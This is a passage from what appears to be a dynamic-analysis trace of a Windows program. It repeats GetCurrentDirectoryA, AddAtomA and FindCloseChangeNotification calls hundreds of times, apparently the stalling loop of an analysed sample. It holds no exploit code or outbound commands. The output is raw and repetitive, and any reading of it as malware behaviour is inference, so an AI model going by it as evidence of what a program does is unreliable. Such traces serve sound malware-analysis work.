lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.349] AddAtomA (lpString=0x0) returned 0x0 [0060.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.349] AddAtomA (lpString=0x0) returned 0x0 [0060.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.349] AddAtomA (lpString=0x0) returned 0x0 [0060.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.349] AddAtomA (lpString=0x0) returned 0x0 [0060.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.349] AddAtomA (lpString=0x0) returned 0x0 [0060.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.350] AddAtomA (lpString=0x0) returned 0x0 [0060.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.350] AddAtomA (lpString=0x0) returned 0x0 [0060.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.350] AddAtomA (lpString=0x0) returned 0x0 [0060.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.350] AddAtomA (lpString=0x0) returned 0x0 [0060.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.350] AddAtomA (lpString=0x0) returned 0x0 [0060.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.350] AddAtomA (lpString=0x0) returned 0x0 [0060.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.350] AddAtomA (lpString=0x0) returned 0x0 [0060.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.350] AddAtomA (lpString=0x0) returned 0x0 [0060.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.350] AddAtomA (lpString=0x0) returned 0x0 [0060.350] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.350] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.350] AddAtomA (lpString=0x0) returned 0x0 [0060.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.351] AddAtomA (lpString=0x0) returned 0x0 [0060.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.351] AddAtomA (lpString=0x0) returned 0x0 [0060.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.351] AddAtomA (lpString=0x0) returned 0x0 [0060.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.351] AddAtomA (lpString=0x0) returned 0x0 [0060.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.351] AddAtomA (lpString=0x0) returned 0x0 [0060.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.351] AddAtomA (lpString=0x0) returned 0x0 [0060.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.351] AddAtomA (lpString=0x0) returned 0x0 [0060.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.351] AddAtomA (lpString=0x0) returned 0x0 [0060.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.351] AddAtomA (lpString=0x0) returned 0x0 [0060.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.351] AddAtomA (lpString=0x0) returned 0x0 [0060.351] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.351] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.352] AddAtomA (lpString=0x0) returned 0x0 [0060.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.352] AddAtomA (lpString=0x0) returned 0x0 [0060.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.352] AddAtomA (lpString=0x0) returned 0x0 [0060.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.352] AddAtomA (lpString=0x0) returned 0x0 [0060.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.352] AddAtomA (lpString=0x0) returned 0x0 [0060.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.352] AddAtomA (lpString=0x0) returned 0x0 [0060.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.352] AddAtomA (lpString=0x0) returned 0x0 [0060.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.352] AddAtomA (lpString=0x0) returned 0x0 [0060.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.352] AddAtomA (lpString=0x0) returned 0x0 [0060.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.352] AddAtomA (lpString=0x0) returned 0x0 [0060.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.352] AddAtomA (lpString=0x0) returned 0x0 [0060.352] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.352] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.352] AddAtomA (lpString=0x0) returned 0x0 [0060.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.353] AddAtomA (lpString=0x0) returned 0x0 [0060.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.353] AddAtomA (lpString=0x0) returned 0x0 [0060.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.353] AddAtomA (lpString=0x0) returned 0x0 [0060.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.353] AddAtomA (lpString=0x0) returned 0x0 [0060.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.353] AddAtomA (lpString=0x0) returned 0x0 [0060.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.353] AddAtomA (lpString=0x0) returned 0x0 [0060.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.353] AddAtomA (lpString=0x0) returned 0x0 [0060.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.353] AddAtomA (lpString=0x0) returned 0x0 [0060.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.353] AddAtomA (lpString=0x0) returned 0x0 [0060.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.353] AddAtomA (lpString=0x0) returned 0x0 [0060.353] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.353] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.354] AddAtomA (lpString=0x0) returned 0x0 [0060.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.354] AddAtomA (lpString=0x0) returned 0x0 [0060.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.354] AddAtomA (lpString=0x0) returned 0x0 [0060.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.354] AddAtomA (lpString=0x0) returned 0x0 [0060.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.354] AddAtomA (lpString=0x0) returned 0x0 [0060.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.354] AddAtomA (lpString=0x0) returned 0x0 [0060.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.354] AddAtomA (lpString=0x0) returned 0x0 [0060.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.354] AddAtomA (lpString=0x0) returned 0x0 [0060.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.354] AddAtomA (lpString=0x0) returned 0x0 [0060.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.354] AddAtomA (lpString=0x0) returned 0x0 [0060.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.354] AddAtomA (lpString=0x0) returned 0x0 [0060.354] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.354] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.355] AddAtomA (lpString=0x0) returned 0x0 [0060.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.355] AddAtomA (lpString=0x0) returned 0x0 [0060.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.355] AddAtomA (lpString=0x0) returned 0x0 [0060.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.355] AddAtomA (lpString=0x0) returned 0x0 [0060.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.355] AddAtomA (lpString=0x0) returned 0x0 [0060.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.355] AddAtomA (lpString=0x0) returned 0x0 [0060.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.355] AddAtomA (lpString=0x0) returned 0x0 [0060.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.355] AddAtomA (lpString=0x0) returned 0x0 [0060.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.355] AddAtomA (lpString=0x0) returned 0x0 [0060.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.355] AddAtomA (lpString=0x0) returned 0x0 [0060.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.355] AddAtomA (lpString=0x0) returned 0x0 [0060.355] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.355] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.355] AddAtomA (lpString=0x0) returned 0x0 [0060.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.356] AddAtomA (lpString=0x0) returned 0x0 [0060.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.356] AddAtomA (lpString=0x0) returned 0x0 [0060.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.356] AddAtomA (lpString=0x0) returned 0x0 [0060.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.356] AddAtomA (lpString=0x0) returned 0x0 [0060.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.356] AddAtomA (lpString=0x0) returned 0x0 [0060.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.356] AddAtomA (lpString=0x0) returned 0x0 [0060.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.356] AddAtomA (lpString=0x0) returned 0x0 [0060.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.356] AddAtomA (lpString=0x0) returned 0x0 [0060.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.356] AddAtomA (lpString=0x0) returned 0x0 [0060.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.356] AddAtomA (lpString=0x0) returned 0x0 [0060.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.356] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.356] AddAtomA (lpString=0x0) returned 0x0 [0060.356] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.357] AddAtomA (lpString=0x0) returned 0x0 [0060.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.357] AddAtomA (lpString=0x0) returned 0x0 [0060.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.357] AddAtomA (lpString=0x0) returned 0x0 [0060.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.357] AddAtomA (lpString=0x0) returned 0x0 [0060.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.357] AddAtomA (lpString=0x0) returned 0x0 [0060.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.357] AddAtomA (lpString=0x0) returned 0x0 [0060.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.357] AddAtomA (lpString=0x0) returned 0x0 [0060.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.357] AddAtomA (lpString=0x0) returned 0x0 [0060.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.357] AddAtomA (lpString=0x0) returned 0x0 [0060.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.357] AddAtomA (lpString=0x0) returned 0x0 [0060.357] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.357] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.357] AddAtomA (lpString=0x0) returned 0x0 [0060.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.358] AddAtomA (lpString=0x0) returned 0x0 [0060.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.358] AddAtomA (lpString=0x0) returned 0x0 [0060.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.358] AddAtomA (lpString=0x0) returned 0x0 [0060.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.358] AddAtomA (lpString=0x0) returned 0x0 [0060.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.358] AddAtomA (lpString=0x0) returned 0x0 [0060.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.358] AddAtomA (lpString=0x0) returned 0x0 [0060.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.358] AddAtomA (lpString=0x0) returned 0x0 [0060.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.358] AddAtomA (lpString=0x0) returned 0x0 [0060.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.358] AddAtomA (lpString=0x0) returned 0x0 [0060.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.358] AddAtomA (lpString=0x0) returned 0x0 [0060.358] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.358] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.358] AddAtomA (lpString=0x0) returned 0x0 [0060.359] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.359] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.359] AddAtomA (lpString=0x0) returned 0x0 [0060.359] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.359] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.359] AddAtomA (lpString=0x0) returned 0x0 [0060.359] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.359] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.359] AddAtomA (lpString=0x0) returned 0x0 [0060.359] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.359] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.359] AddAtomA (lpString=0x0) returned 0x0 [0060.359] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.359] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.359] AddAtomA (lpString=0x0) returned 0x0 [0060.359] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.359] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.359] AddAtomA (lpString=0x0) returned 0x0 [0060.359] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.359] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.359] AddAtomA (lpString=0x0) returned 0x0 [0060.359] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.359] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.359] AddAtomA (lpString=0x0) returned 0x0 [0060.359] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.359] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.359] AddAtomA (lpString=0x0) returned 0x0 [0060.359] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.359] GetCurrentDirectoryA (in: 